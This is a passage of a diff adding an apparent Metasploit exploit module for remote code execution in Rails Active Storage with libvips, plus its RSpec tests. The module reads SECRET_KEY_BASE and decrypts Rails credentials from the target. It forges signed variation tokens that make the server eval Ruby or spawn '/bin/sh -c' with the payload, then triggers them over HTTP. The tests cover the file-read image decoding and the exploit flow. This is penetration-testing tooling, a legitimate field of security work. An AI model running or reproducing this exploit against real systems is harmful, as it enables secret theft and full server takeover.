environment['SECRET_KEY_BASE'].present? + candidate = validated_secret_candidate(environment['SECRET_KEY_BASE'], source, signed_id) + if candidate + yield candidate if block_given? + return true + end + end + + false + end + + def parse_environment(bytes) + bytes.split("\x00").each_with_object({}) do |entry, environment| + next unless entry.include?('=') + + key, value = entry.split('=', 2) + environment[key] = value + end + end + + def trim_external_bytes(bytes) + bytes.split("\x00", 2).first.to_s.strip + end + + def validated_secret_candidate(secret, source, signed_id) + secret = validate_secret_key_base(secret) + token_info = signed_token_info(signed_id) + key_generator_digest = key_generator_digest_for(secret, token_info) + [secret, source, key_generator_digest, token_info] + rescue TriggerError => e + vprint_status("Skipping #{source} secret candidate: #{e.message}") + nil + end + + def validate_secret_key_base(secret) + raise TriggerError, 'SECRET_KEY_BASE was empty' if secret.blank? + + secret + end + + def valid_master_key?(key) + key.match?(/\A[0-9a-f]{32}\z/i) + end + + def decrypt_rails_credentials(encrypted, master_key) + return nil unless valid_master_key?(master_key.to_s.strip) + + parts = encrypted.split('--') + return nil unless parts.length == 3 + + ciphertext, iv, auth_tag = parts.map { |part| Base64.strict_decode64(part) } + cipher = OpenSSL::Cipher.new('aes-128-gcm') + cipher.decrypt + cipher.key = [master_key.to_s.strip].pack('H*') + cipher.iv = iv + cipher.auth_tag = auth_tag + cipher.auth_data = '' + cipher.update(ciphertext) + cipher.final + rescue OpenSSL::Cipher::CipherError, ArgumentError + nil + end + + def extract_secret_key_base_from_plaintext(plaintext) + document = YAML.safe_load( + unwrap_marshaled_string(plaintext), + permitted_classes: [], + permitted_symbols: [], + aliases: false + ) + return nil unless document.is_a?(Hash) + + secret = document['secret_key_base'] + return nil unless secret.is_a?(String) && secret.present? + + validate_secret_key_base(secret) + rescue Psych::Exception + nil + end + + # ActiveSupport::EncryptedFile may wrap the YAML in a Marshal string. Decode + # only that primitive envelope; never Marshal.load target-controlled bytes. + def unwrap_marshaled_string(data) + return data unless data.start_with?("\x04\x08".b) + + offset = 2 + offset += 1 if data.getbyte(offset) == 0x49 + return data unless data.getbyte(offset) == 0x22 + + length, offset = parse_marshaled_length(data, offset + 1) + return data if length.nil? + + value = data.byteslice(offset, length) + value&.bytesize == length ? value : data + end + + def parse_marshaled_length(data, offset) + encoded = data.getbyte(offset) + return [nil, offset] unless encoded + + encoded -= 256 if encoded > 127 + offset += 1 + return [0, offset] if encoded.zero? + return [encoded - 5, offset] if encoded > 4 + return [nil, offset] if encoded.negative? + + bytes = data.byteslice(offset, encoded) + return [nil, offset] unless bytes&.bytesize == encoded + + length = bytes.bytes.each_with_index.sum { |byte, index| byte << (8 * index) } + [length, offset + encoded] + end + + def derive_verifier_key(secret_key_base, digest) + OpenSSL::PKCS5.pbkdf2_hmac( + secret_key_base, + 'ActiveStorage', + 1000, + 64, + OpenSSL::Digest.new(digest.upcase) + ) + end + + def key_generator_digest_for(secret_key_base, token_info) + candidates = if datastore['KEY_GENERATOR_DIGEST'] == 'auto' + KEY_GENERATOR_DIGESTS + else + [datastore['KEY_GENERATOR_DIGEST']] + end + digest = candidates.find do |candidate| + verifier_signature( + derive_verifier_key(secret_key_base, candidate), + token_info[:encoded], + token_info[:verifier_digest] + ) == token_info[:signature] + end + raise TriggerError, 'SECRET_KEY_BASE did not validate against the signed blob ID with the selected key generator and verifier digests' unless digest + + print_status("Validated #{digest.upcase} key derivation against a signed blob ID") + digest + end + + def signed_token_info(token) + encoded, separator, signature = token.to_s.rpartition('--') + unless separator.present? && encoded.present? && signature.match?(/\A[0-9a-f]+\z/i) && signature.length.even? + raise FlowError, 'Active Storage returned an invalid signed token' + end + + { + encoded: encoded, + signature: signature, + verifier_digest: verifier_digest_for(signature), + message_serializer: message_serializer_for(encoded) + } + end + + def verifier_digest_for(signature) + configured = datastore['VERIFIER_DIGEST'] + return configured unless configured == 'auto' + + digest = VERIFIER_DIGESTS[signature.length] + raise TriggerError, 'Could not determine the Active Support verifier digest from the signed blob ID; set VERIFIER_DIGEST manually' unless digest + + print_status("Detected #{digest.upcase} Active Support verifier signatures") + digest + end + + def message_serializer_for(encoded) + configured = datastore['MESSAGE_SERIALIZER'] + return configured.to_sym unless configured == 'auto' + + serializer = detect_message_serializer(decode_signed_message(encoded)) + raise TriggerError, 'Could not determine the Active Support message serializer from the signed blob ID; set MESSAGE_SERIALIZER manually' unless serializer + + if serializer == :message_pack + print_status('Detected the Active Support MessagePack signed-message format; using its JSON-compatible fallback') + return :json + end + + print_status("Detected the Active Support #{serializer} message serializer") + serializer + end + + def decode_signed_message(encoded) + Base64.strict_decode64(encoded) + rescue ArgumentError + begin + Base64.urlsafe_decode64(encoded) + rescue ArgumentError => e + raise FlowError, "Active Storage returned invalid signed-message Base64: #{e.message}" + end + end + + def detect_message_serializer(serialized) + return :marshal if serialized.start_with?("\x04\x08".b) + return :message_pack if serialized.start_with?("\xcc\x80".b) + return unless serialized.start_with?('{') + + document = JSON.parse(serialized) + metadata = document['_rails'] + return :json unless metadata.is_a?(Hash) && metadata.key?('message') + + inner = Base64.strict_decode64(metadata['message'].to_s) + inner.start_with?("\x04\x08".b) ? :marshal : :json + rescue JSON::ParserError, ArgumentError + nil + end + + def variation_transformations + case target['Type'] + when :ruby + ruby_transformations(payload.encoded) + else + command_transformations(payload.encoded) + end + end + + def command_transformations(command) + { + 'send' => ['spawn', '/bin/sh', '-c', command] + } + end + + # ImageProcessing::Chainable#apply invokes the builder's inherited send method + # while constructing the pipeline, so send('eval', ruby) reaches Kernel#eval + # and runs the payload directly in the Rails worker. The apply step then + # returns a non-builder value, so the representation request ends in an error + # after the payload has already executed. + def ruby_transformations(ruby) + { + 'send' => ['eval', ruby] + } + end + + def variation_payload(transformations, serializer) + message = if serializer == :marshal + Marshal.dump(transformations) + else + transformations.to_json + end + { + _rails: { + message: Base64.strict_encode64(message), + exp: nil, + pur: 'variation' + } + }.to_json + end + + def forged_variation(verifier_key, serialized, verifier_digest) + encoded = Base64.strict_encode64(serialized) + "#{encoded}--#{verifier_signature(verifier_key, encoded, verifier_digest)}" + end + + def verifier_signature(verifier_key, encoded, verifier_digest) + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new(verifier_digest.upcase), verifier_key, encoded) + end + + def csrf_token + return datastore['CSRF_TOKEN'] if datastore['CSRF_TOKEN'].present? + + landing_page[:csrf] + end + + def landing_page + return @landing_page if @landing_page + + res = send_request_cgi(target_request('GET', app_uri(datastore['LANDINGURI']))) + raise FlowError, 'No response from the landing page' unless res + raise FlowError, "Landing page returned HTTP #{res.code}" unless res.code == 200 + + doc = res.get_html_document + csrf_meta = doc.at_css('meta[name="csrf-token"]')&.[]('content') + csrf_form = doc.at_css('input[name="authenticity_token"]')&.[]('value') + csrf = csrf_meta.presence || csrf_form + raise FlowError, 'Landing page did not contain a CSRF token' if csrf.blank? && datastore['CSRF_TOKEN'].blank? + + @landing_page = { + csrf: csrf, + csrf_meta: csrf_meta, + csrf_form: csrf_form, + representation_paths: representation_paths(doc) + } + end + + def representation_paths(doc) + paths = doc.css('img[src]').map { |node| node['src'] } + srcset_paths = doc.css('img[srcset]').flat_map do |node| + node['srcset'].to_s.split(',').map { |entry| entry.strip.split(/\s+/, 2).first } + end + (paths + srcset_paths).compact.select { |path| representation_path?(path) }.uniq + end + + def representation_path?(path) + representation_route_index(URI.parse(path).path.split('/')) + true + rescue FlowError, URI::InvalidURIError + false + end + + def base_representation_path + return @base_representation_path if @base_representation_path + + if datastore['VARIATION_KEY'].present? + raise FlowError, 'VARIATION_KEY is handled through standard Active Storage representation routes' + end + + if datastore['REPRESENTATIONURI'].present? + @base_representation_path = select_representation_path([datastore['REPRESENTATIONURI']], 'REPRESENTATIONURI') + print_status('Using the operator-supplied Active Storage representation URL') + return @base_representation_path + end + + landing = landing_page + if landing[:representation_paths].any? + @base_representation_path = select_representation_path(landing[:representation_paths], 'landing page') + print_status('Reusing an Active Storage representation URL found on the landing page') + return @base_representation_path + end + + signed_id = direct_upload( + csrf_token: csrf_token, + filename: 'safe.png', + content_type: 'image/png', + content: safe_png + ) + @base_representation_path = submit_safe_upload(landing[:csrf_form].presence || csrf_token, signed_id) + end + + def select_representation_path(paths, source) + index = datastore['REPRESENTATION_INDEX'] + raise FlowError, "#{source} did not contain a representation path" if paths.empty? + raise FlowError, "#{source} did not contain representation index #{index}" unless paths[index] + + parsed = URI.parse(paths[index]) + representation_route_index(parsed.path.split('/')) + paths[index] + rescue URI::InvalidURIError => e + raise FlowError, "#{source} returned an invalid representation path: #{e.message}" + end + + def direct_upload(csrf_token:, filename:, content_type:, content:) + checksum = Base64.strict_encode64(Digest::MD5.digest(content)) + body = { + blob: { + filename: filename, + byte_size: content.bytesize, + checksum: checksum, + content_type: content_type + } + }.to_json + + res = send_request_cgi( + target_request( + 'POST', + app_uri(datastore['DIRECTUPLOADURI']), + 'ctype' => 'application/json', + 'headers' => { + 'Accept' => 'application/json', + 'X-CSRF-Token' => csrf_token + }, + 'data' => body + ) + ) + raise FlowError, 'No response while creating the direct upload' unless res + raise FlowError, "Direct upload create returned HTTP #{res.code}" unless res.code == 200 + + json = res.get_json_document + raise FlowError, 'Direct upload response was not a JSON object' unless json.is_a?(Hash) + + signed_id = json['signed_id'] + direct = json['direct_upload'] + raise FlowError, 'Direct upload response did not include a signed_id' if signed_id.blank? + raise FlowError, 'Direct upload response did not include upload metadata' unless direct.is_a?(Hash) + + upload_url = direct['url'] + upload_headers = direct['headers'] + raise FlowError, 'Direct upload response did not include an upload URL' if upload_url.blank? + raise FlowError, 'Direct upload response did not include upload headers' unless upload_headers.is_a?(Hash) + + @active_storage_service = report_active_storage_service + + upload_res = send_request_to_url(upload_url, method: 'PUT', data: content, headers: upload_headers) + raise FlowError, 'No response while uploading the blob content' unless upload_res + unless [200, 201, 204].include?(upload_res.code) + raise FlowError, "Direct object upload returned HTTP #{upload_res.code}" + end + + signed_id + end + + def submit_safe_upload(csrf_token, signed_id) + current_uri = URI.parse(full_uri(app_uri(datastore['SUBMITURI']))) + res = send_request_cgi( + target_request( + 'POST', + app_uri(datastore['SUBMITURI']), + 'vars_post' => { + 'authenticity_token' => csrf_token, + datastore['ATTACHMENT_FIELD'] => signed_id + }, + 'headers' => { 'Accept' => 'text/html' } + ) + ) + raise FlowError, 'No response while submitting the safe upload' unless res + + redirect_count = 0 + while res.redirect? + unless [301, 302, 303].include?(res.code) && res.redirection.present? + raise FlowError, "Safe upload submit returned unsupported HTTP #{res.code} redirect" + end + raise FlowError, 'Safe upload response exceeded the redirect limit' if redirect_count == REPRESENTATION_REDIRECT_LIMIT + + current_uri = URI.join(current_uri.to_s, res.redirection.to_s) + validate_http_url!(current_uri, 'Safe upload redirect') + res = send_request_cgi( + target_request( + 'GET', + request_uri(current_uri.to_s), + 'headers' => { 'Accept' => 'text/html' } + ) + ) + raise FlowError, 'No response while following the safe upload redirect' unless res + + redirect_count += 1 + end + raise FlowError, "Safe upload response returned HTTP #{res.code}" unless res.code == 200 + + select_representation_path(representation_paths(res.get_html_document), 'safe upload response') + rescue URI::InvalidURIError => e + raise FlowError, "Safe upload redirect was invalid: #{e.message}" + end + + def safe_png + signature = "\x89PNG\r\n\x1a\n".b + ihdr = [8, 8, 8, 0, 0, 0, 0].pack('NNC5') + raw = (("\x00" + ("\x00" * 8)) * 8).b + signature + png_chunk('IHDR', ihdr) + png_chunk('IDAT', Zlib::Deflate.deflate(raw)) + png_chunk('IEND', ''.b) + end + + def png_chunk(type, data) + [data.bytesize].pack('N') + type + data + [Zlib.crc32(type + data)].pack('N') + end + + def target_request(method, uri, options = {}) + cookie = [datastore['COOKIE'], cookie_jar.cookies.join('; ')].compact.reject(&:blank?).join('; ') + request = { + 'method' => method, + 'uri' => uri, + 'keep_cookies' => true + }.merge(options) + request['cookie'] = cookie if cookie.present? + request + end + + def send_request_to_url(url, method:, data:, headers:) + parsed = URI.parse(url) + unless %w[http https].include?(parsed.scheme) && parsed.hostname + raise FlowError, 'Direct upload URL was not an HTTP(S) URL' + end + raise FlowError, 'Direct upload URL contained credentials' if parsed.user || parsed.password + + uri = parsed.path.presence || '/' + uri += "?#{parsed.query}" if parsed.query + request_headers = headers.merge('Connection' => 'close') + + if same_target_url?(parsed) + return send_request_cgi( + target_request( + method, + uri, + 'data' => data, + 'headers' => request_headers + ) + ) + end + + send_sanitized_request( + 'method' => method, + 'uri' => uri, + 'data' => data, + 'headers' => request_headers, + 'cookie' => '', + 'rhost' => parsed.hostname, + 'rport' => parsed.port, + 'SSL' => parsed.scheme == 'https', + 'vhost' => parsed.hostname + ) + rescue URI::InvalidURIError => e + raise FlowError, "Direct upload URL was invalid: #{e.message}" + end + + def request_representation(path) + current = URI.parse(path) + if current.hostname + request_uri(current.to_s) + else + current = URI.parse(full_uri(request_uri(current.to_s))) + end + external = !same_target_url?(current) + + (REPRESENTATION_REDIRECT_LIMIT + 1).times do |redirect_index| + validate_http_url!(current, 'Representation URL') + uri = current.path.presence || '/' + uri += "?#{current.query}" if current.query + res = if !external && same_target_url?(current) + send_request_cgi(target_request('GET', uri)) + else + send_sanitized_request( + 'method' => 'GET', + 'uri' => uri, + 'headers' => { 'Accept' => 'image/png', 'Connection' => 'close' }, + 'rhost' => current.hostname, + 'rport' => current.port, + 'SSL' => current.scheme == 'https', + 'vhost' => current.hostname + ) + end + return res unless res&.redirect? && res.redirection + raise FlowError, 'Representation response exceeded the redirect limit' if redirect_index == REPRESENTATION_REDIRECT_LIMIT + + current = URI.join(current.to_s, res.redirection.to_s) + external ||= !same_target_url?(current) + end + rescue URI::InvalidURIError => e + raise FlowError, "Representation redirect was invalid: #{e.message}" + end + + def send_sanitized_request(options) + logger = Rex::Proto::Http::HttpLoggerSubscriber.new(logger: self) + client = Rex::Proto::Http::Client.new( + options['rhost'], + options['rport'], + { 'Msf' => framework, 'MsfExploit' => self }, + options['SSL'], + ssl_version, + proxies, + '', + '', + kerberos_authenticator: nil, + subscriber: logger, + sslkeylogfile: sslkeylogfile + ) + client.set_config( + 'vhost' => options['vhost'], + 'ssl_server_name_indication' => options['vhost'], + 'agent' => datastore['UserAgent'], + 'raw_headers' => '' + ) + request = client.request_cgi( + options.merge( + 'cookie' => nil, + 'raw_headers' => '', + 'authorization' => nil, + 'username' => '', + 'password' => '', + 'preferred_auth' => 'None', + kerberos_authenticator: false + ) + ) + client._send_recv(request, sanitized_request_timeout) + rescue ::EOFError, ::Errno::EPIPE, ::Errno::ETIMEDOUT, ::OpenSSL::SSL::SSLError, ::Timeout::Error, Rex::ConnectionError => e + vprint_error("External request failed: #{e}") + nil + ensure + client&.close + end + + def validate_http_url!(parsed, label) + unless %w[http https].include?(parsed.scheme) && parsed.hostname + raise FlowError, "#{label} was not an HTTP(S) URL" + end + raise FlowError, "#{label} contained credentials" if parsed.user || parsed.password + end + + def sanitized_request_timeout + configured_timeout = datastore['HttpClientTimeout'] + configured_timeout&.positive? ? configured_timeout : 20 + end + + def same_target_url?(parsed) + target_hosts = [rhost, vhost].compact.reject(&:blank?).map(&:downcase) + target_hosts.include?(parsed.hostname.downcase) && parsed.port == rport && (parsed.scheme == 'https') == ssl + end + + def substitute_representation_blob(path, signed_blob_id, filename) + parsed = URI.parse(path) + parts = parsed.path.split('/') + route_index = representation_route_index(parts) + parts[route_index + 1] = URI.encode_www_form_component(signed_blob_id) + parts[-1] = filename + parsed.path = parts.join('/') + parsed.to_s + rescue URI::InvalidURIError => e + raise FlowError, "Application returned an invalid representation path: #{e.message}" + end + + def substitute_variation_key(path, variation) + parsed = URI.parse(path) + parts = parsed.path.split('/') + route_index = representation_route_index(parts) + parts[route_index + 2] = URI.encode_www_form_component(variation) + parsed.path = parts.join('/') + parsed.to_s + rescue URI::InvalidURIError => e + raise FlowError, "Application returned an invalid representation path: #{e.message}" + end + + def standard_representation_path(signed_id, variation, filename, route: :redirect) + direct_upload_path = URI.parse(app_uri(datastore['DIRECTUPLOADURI'])).path + suffix = '/direct_uploads' + unless direct_upload_path.end_with?(suffix) + raise ConfigError, 'DIRECTUPLOADURI must end in /direct_uploads when constructing a standard representation route' + end + + prefix = direct_upload_path.delete_suffix(suffix) + unless %i[redirect legacy].include?(route) + raise ConfigError, "Unsupported Active Storage representation route #{route}" + end + + parts = [prefix, 'representations'] + parts << 'redirect' if route == :redirect + parts.concat( + [ + URI.encode_www_form_component(signed_id), + URI.encode_www_form_component(variation), + filename + ] + ) + normalize_uri(*parts) + rescue URI::InvalidURIError => e + raise ConfigError, "DIRECTUPLOADURI was invalid: #{e.message}" + end + + def representation_route_index(parts) + representations_indexes = parts.each_index.select { |index| parts[index] == 'representations' } + raise FlowError, 'Representation path did not contain /representations/' if representations_indexes.empty? + + route_index = nil + representations_indexes.reverse_each do |representations_index| + candidate = if %w[redirect proxy].include?(parts[representations_index + 1]) + representations_index + 1 + else + representations_index + end + if candidate + 3 < parts.length + route_index = candidate + break + end + end + raise FlowError, 'Representation path was shorter than expected' unless route_index + + route_index + end + + def request_uri(path_or_url) + parsed = URI.parse(path_or_url) + if parsed.hostname + target_hosts = [rhost, vhost].compact.reject(&:blank?).map(&:downcase) + expected_ssl = parsed.scheme == 'https' + unless target_hosts.include?(parsed.hostname.downcase) && parsed.port == rport && expected_ssl == ssl + raise FlowError, "Application returned a representation URL on a different origin: #{parsed}" + end + end + + uri = parsed.path.presence || '/' + uri += "?#{parsed.query}" if parsed.query + uri + rescue URI::InvalidURIError => e + raise FlowError, "Application returned an invalid URL: #{e.message}" + end + + def trigger_variation(path) + # The forged operation executes while Rails builds the transformation + # pipeline and normally ends in an HTTP 500 or a payload-held connection. + res = send_request_cgi(target_request('GET', request_uri(path)), 10) + unless res + vprint_status('No HTTP response while triggering the forged variation') + return + end + + if res.code.between?(300, 499) + raise TriggerError, "Forged variation was rejected with HTTP #{res.code}" + end + + vprint_status("Forged variation returned HTTP #{res.code}") + end +end diff --git a/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb b/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb new file mode 100644 index 0000000000000..7b9b1dca327d1 --- /dev/null +++ b/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb @@ -0,0 +1,1210 @@ +# frozen_string_literal: true + +require 'spec_helper' +require 'base64' +require 'zlib' + +# rubocop:disable Metrics/BlockLength +RSpec.describe 'exploit/multi/http/rails_activestorage_vips_rce' do + include_context 'Msf::Simple::Framework#modules loading' + + subject(:exploit) do + load_and_create_module( + module_type: 'exploit', + reference_name: 'multi/http/rails_activestorage_vips_rce' + ) + end + + let(:png_decoder) { exploit.class::PngDecoder } + let(:trigger_error) { exploit.class::TriggerError } + let(:flow_error) { exploit.class::FlowError } + let(:data_error) { exploit.class::DataError } + let(:png_signature) { "\x89PNG\r\n\x1a\n".b } + let(:read_layouts) { exploit.class::READ_LAYOUTS } + let(:read_layout) { read_layouts.find { |layout| layout[:dimension] == 20 } } + + def png_chunk(type, data) + [data.bytesize].pack('N') + type + data + [Zlib.crc32(type + data)].pack('N') + end + + def grayscale_png(width:, height:, scanlines: ''.b, idat: nil, **properties) + properties = { + bit_depth: 8, + color_type: 0, + compression: 0, + filter: 0, + interlace: 0 + }.merge(properties) + ihdr = [width, height, *properties.values_at(:bit_depth, :color_type, :compression, :filter, :interlace)].pack('NNC5') + compressed = idat.nil? ? Zlib::Deflate.deflate(scanlines) : idat + + png_signature + png_chunk('IHDR'.b, ihdr) + png_chunk('IDAT'.b, compressed) + png_chunk('IEND'.b, ''.b) + end + + def http_response(code, location: nil, body: nil) + response = Rex::Proto::Http::Response.new(code) + response.headers['Location'] = location if location + response.body = body if body + response + end + + def striped_pixels(layout, source) + dimension = layout.fetch(:dimension) + columns = (1...(dimension - 1)).step(2).first(layout.fetch(:data_columns)) + pixels = "\x00".b * (dimension * dimension) + + columns.each_with_index do |column, column_index| + dimension.times do |row| + pixels.setbyte((row * dimension) + column, source.getbyte((column_index * dimension) + row)) + end + end + + pixels + end + + describe 'PngDecoder.decode' do + it 'decodes all grayscale PNG scanline filters' do + cases = { + none: { + width: 3, + height: 1, + scanlines: [0, 10, 20, 30].pack('C*'), + expected: [10, 20, 30].pack('C*') + }, + sub: { + width: 3, + height: 1, + scanlines: [1, 10, 10, 10].pack('C*'), + expected: [10, 20, 30].pack('C*') + }, + up: { + width: 3, + height: 2, + scanlines: [0, 10, 20, 30, 2, 5, 5, 5].pack('C*'), + expected: [10, 20, 30, 15, 25, 35].pack('C*') + }, + average: { + width: 3, + height: 2, + scanlines: [0, 10, 20, 30, 3, 10, 8, 8].pack('C*'), + expected: [10, 20, 30, 15, 25, 35].pack('C*') + }, + paeth: { + width: 3, + height: 2, + scanlines: [0, 10, 100, 150, 4, 90, 206, 236].pack('C*'), + expected: [10, 100, 150, 100, 50, 80].pack('C*') + } + } + + cases.each do |name, test_case| + png = grayscale_png( + width: test_case[:width], + height: test_case[:height], + scanlines: test_case[:scanlines] + ) + + expect(png_decoder.decode(png)).to eq( + { + width: test_case[:width], + height: test_case[:height], + channels: 1, + pixels: test_case[:expected] + } + ), "failed to decode the #{name} filter" + end + end + + it 'rejects data without the PNG signature' do + expect { png_decoder.decode('not a png'.b) }.to raise_error(trigger_error, /not a PNG/i) + end + + it 'rejects truncated chunks and IHDR data' do + truncated_chunk = png_signature + [13].pack('N') + 'IHDR'.b + ("\x00".b * 9) + short_ihdr = png_signature + png_chunk('IHDR'.b, "\x00".b * 5) + png_chunk('IEND'.b, ''.b) + + expect { png_decoder.decode(truncated_chunk) }.to raise_error(trigger_error) + expect { png_decoder.decode(short_ihdr) }.to raise_error(trigger_error) + end + + it 'rejects unsupported grayscale image properties' do + unsupported_properties = [ + { bit_depth: 16 }, + { color_type: 2 }, + { compression: 1 }, + { filter: 1 }, + { interlace: 1 } + ] + + unsupported_properties.each do |properties| + png = grayscale_png(width: 1, height: 1, scanlines: "\x00\x41".b, **properties) + expect { png_decoder.decode(png) }.to raise_error(trigger_error) + end + end + + it 'rejects an unsupported scanline filter' do + png = grayscale_png(width: 1, height: 1, scanlines: "\x05\x41".b) + + expect { png_decoder.decode(png) }.to raise_error(trigger_error, /scanline filter/i) + end + + it 'normalizes corrupt and truncated zlib streams to TriggerError' do + corrupt = grayscale_png(width: 1, height: 1, idat: 'not zlib'.b) + truncated = grayscale_png(width: 1, height: 1, idat: "\x78\x9c".b) + + expect { png_decoder.decode(corrupt) }.to raise_error(trigger_error, /decompression/i) + expect { png_decoder.decode(truncated) }.to raise_error(trigger_error, /(decompression|zlib)/i) + end + + it 'rejects truncated inflated scanline data' do + png = grayscale_png(width: 3, height: 1, scanlines: "\x00\x41".b) + + expect { png_decoder.decode(png) }.to raise_error(trigger_error, /scanline data/i) + end + + it 'bounds decompression and rejects trailing compressed data' do + bomb = grayscale_png(width: 1, height: 1, idat: Zlib::Deflate.deflate('A' * 4_194_304)) + trailing = grayscale_png(width: 1, height: 1, idat: Zlib::Deflate.deflate("\x00\x41".b) + 'junk') + + expect { png_decoder.decode(bomb) }.to raise_error(trigger_error, /exceeded/i) + expect { png_decoder.decode(trailing) }.to raise_error(trigger_error, /trailing/i) + end + end + + describe '#report_active_storage_service' do + before do + exploit.datastore['RHOST'] = '192.0.2.10' + exploit.datastore['RPORT'] = 8080 + exploit.datastore['TARGETURI'] = '/application' + end + + it 'reports and memoizes the Rails application above HTTP and TCP' do + service = double('Rails service') + common = { host: '192.0.2.10', port: 8080, proto: 'tcp' } + expect(exploit).to receive(:report_service).once.with( + common.merge( + name: 'rails', + info: 'Ruby on Rails Active Storage', + resource: { uri: '/application' }, + parents: common.merge(name: 'http', parents: common.merge(name: 'tcp', parents: nil)) + ) + ).and_return(service) + + expect(exploit.send(:report_active_storage_service)).to be(service) + expect(exploit.send(:report_active_storage_service)).to be(service) + end + + it 'reports HTTPS above SSL and TCP' do + exploit.datastore['SSL'] = true + service = double('Rails TLS service') + common = { host: '192.0.2.10', port: 8080, proto: 'tcp' } + expect(exploit).to receive(:report_service).with( + common.merge( + name: 'rails', + info: 'Ruby on Rails Active Storage', + resource: { uri: '/application' }, + parents: common.merge( + name: 'https', + parents: common.merge(name: 'ssl', parents: common.merge(name: 'tcp', parents: nil)) + ) + ) + ).and_return(service) + + expect(exploit.send(:report_active_storage_service)).to be(service) + end + end + + describe '#report_vuln' do + it 'links framework-generated vulnerability reports to the Rails service' do + service = double('Rails service') + vulnerability = double('Vulnerability', id: 7) + framework_db = exploit.framework.db + allow(exploit).to receive(:report_active_storage_service).and_return(service) + allow(exploit).to receive(:db).and_return(true) + allow(exploit).to receive(:myworkspace).and_return(:test_workspace) + allow(exploit).to receive(:mytask).and_return(nil) + expect(framework_db).to receive(:report_vuln).with( + hash_including( + host: '192.0.2.10', + name: exploit.fullname, + service: service + ) + ).and_return(vulnerability) + allow(framework_db).to receive(:report_vuln_attempt) + + result = exploit.report_vuln(host: '192.0.2.10', name: exploit.fullname) + + expect(result).to be(vulnerability) + expect(exploit.instance_variable_get(:@vulnerability_reported)).to be(true) + end + end + + describe 'target defaults' do + it 'removes the Linux fetch artifact after execution' do + expect(exploit.targets.fetch(1).default_options.fetch('FETCH_DELETE')).to be(true) + end + end + + describe '#check' do + it 'returns a linked Vulnerable result without directly reporting the vulnerability' do + service = double('Rails service') + context = { layout: read_layout, mode: :raw } + allow(exploit).to receive(:detect_read_context).and_return(context) + allow(exploit).to receive(:report_active_storage_service).and_return(service) + expect(exploit).not_to receive(:report_vuln) + + result = exploit.check + + expect(result.code).to eq('vulnerable') + expect(result.reason).to include("#{read_layout.fetch(:dimension)}x#{read_layout.fetch(:dimension)} raw layout") + expect(result.vuln).to eq( + service: service, + info: 'Confirmed arbitrary file read through an Active Storage representation' + ) + end + + it 'returns Unsupported for invalid local configuration' do + exploit.datastore['REPRESENTATION_INDEX'] = -1 + + result = exploit.check + + expect(result.code).to eq('unsupported') + expect(result.reason).to eq('REPRESENTATION_INDEX must be non-negative') + end + + it 'returns Detected when the supplied secret validates without testing the file read' do + secret = 'known-secret' + context = { secret_key_base: secret } + service = double('Rails service') + exploit.datastore['SECRET_KEY_BASE'] = secret + allow(exploit).to receive(:validate_secret_key_base).with(secret).and_return(secret) + allow(exploit).to receive(:context_from_known_secret).with(secret).and_return(context) + allow(exploit).to receive(:verify_known_secret_context).with(context) + allow(exploit).to receive(:report_active_storage_service).and_return(service) + + result = exploit.check + + expect(result.code).to eq('detected') + expect(result.reason).to include('arbitrary file read was not tested') + end + + it 'normalizes an unexpected remote failure to Unknown' do + allow(exploit).to receive(:detect_read_context).and_raise(trigger_error, 'unexpected target response') + + result = exploit.check + + expect(result.code).to eq('unknown') + expect(result.reason).to eq('unexpected target response') + end + end + + describe '#exploit' do + let(:execution_context) do + { + verifier_key: 'key', + verifier_digest: 'sha1', + message_serializer: :json, + verifier_source: 'a test verifier key' + } + end + + before do + allow(exploit).to receive(:variation_transformations).and_return('send' => ['spawn']) + allow(exploit).to receive(:forged_representation_path).and_return('/forged') + allow(exploit).to receive(:trigger_variation) + end + + it 'reports the confirmed file-read vulnerability when AutoCheck state is absent' do + service = double('Rails service') + context = { layout: read_layout, mode: :raw } + allow(exploit).to receive(:detect_read_context).and_return(context) + allow(exploit).to receive(:context_from_recovered_secret).with(context).and_return(execution_context) + allow(exploit).to receive(:report_active_storage_service).and_return(service) + expect(exploit).to receive(:report_vuln).with( + host: exploit.rhost, + port: exploit.rport, + proto: 'tcp', + service: service, + name: exploit.fullname, + info: 'Confirmed arbitrary file read through an Active Storage representation', + refs: exploit.references + ) + + exploit.method(:exploit).super_method.call + end + + it 'reports only the application service in known-secret mode' do + secret = 'known-secret' + exploit.datastore['SECRET_KEY_BASE'] = secret + allow(exploit).to receive(:validate_secret_key_base).with(secret).and_return(secret) + allow(exploit).to receive(:context_from_known_secret).with(secret).and_return(execution_context) + allow(exploit).to receive(:verify_known_secret_context).with(execution_context) + expect(exploit).to receive(:report_active_storage_service).and_return(double('Rails service')) + expect(exploit).not_to receive(:report_vuln) + + exploit.method(:exploit).super_method.call + end + end + + describe '#restore_ascii_pixels' do + let(:source) do + Array.new(read_layout.fetch(:capacity)) { |index| 32 + (index % 95) }.pack('C*') + end + let(:raw_read) do + { + width: read_layout.fetch(:dimension), + height: read_layout.fetch(:dimension), + pixels: striped_pixels(read_layout, source) + } + end + let(:sharpened_read) do + # Captured from image_processing 1.14.0 and libvips 8.14.1 applying + # ImageProcessing::Vips::Processor::SHARPEN_MASK to raw_read. + pixels = Base64.strict_decode64( + 'ACgAQQBaAHMAjAAuAEcAYAB5AAAAKQBCAFsAdACNADAASQBiAHsAAAArAEQAXQB2AI8AMQBKAGMAfAAAACwARQBeAHcAkAAy' \ + 'AEsAZAB9AAAALQBGAF8AeACRADMATABlAH4AAAAuAEcAYAB5AJIANQBOAGcAgAAAADAASQBiAHsAlAA2AE8AaACBAAAAMQBK' \ + 'AGMAfACVADcAUABpAIIAAAAyAEsAZAB9AJYAOABRAGoAgwAAADMATABlAH4AlwA6AFMAbACFAAAANQBOAGcAgACZADsAVABt' \ + 'AIYAAAA2AE8AaACBAJoAPABVAG4AhwAAADcAUABpAIIAmwA9AFYAbwCIAAAAOABRAGoAgwCcAD8AWABxAIoAAAA6AFMAbACF' \ + 'AKEAQABZAHIAiwAAADsAVABtAIYAJABBAFoAcwCMAAAAPABVAG4AhwApAEIAWwB0AI0AAAA9AFYAbwCIACsARABdAHYAjwAA' \ + 'AD8AWABxAIoALABFAF4AdwCQAAAAQABZAHIAiwAtAEYAXwB4AJEAAA==' + ) + { + width: read_layout.fetch(:dimension), + height: read_layout.fetch(:dimension), + pixels: pixels + } + end + + it 'restores raw striped bytes in source-file order' do + expect(exploit.send(:restore_ascii_pixels, raw_read, read_layout, :raw)).to eq(source) + end + + it 